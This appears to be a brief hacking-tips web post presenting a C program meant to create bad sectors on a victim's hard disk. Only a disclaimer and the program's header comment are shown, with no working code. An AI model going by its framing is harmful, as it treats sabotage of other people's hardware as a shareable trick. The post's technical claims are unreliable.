CREATING BAD SECTOR ON HDD
Create Bad sectors on hard disks


THIS TRICKS IS ONLY FOR KNOWLEDGE PURPOSE SO PLZ DONT USE IT FOR WRONG PURPOSE...
A C source code


/*create bad sectors on the hard disk.
*
* This program will create bad sectors on the hard disk. If you left it
* running for long enough, it could render a hard disk quite useless. When
* bad sectors are found, the sector is marked as bad, so fixing the hard disk
* is not an easy task. Unless the victim has time and knowledge to fix the
* disk, the hard drive can be left quite literally defective.
* supported by preetam
* I don't take responsibility for what you do with this program, served foe educational purpose only.
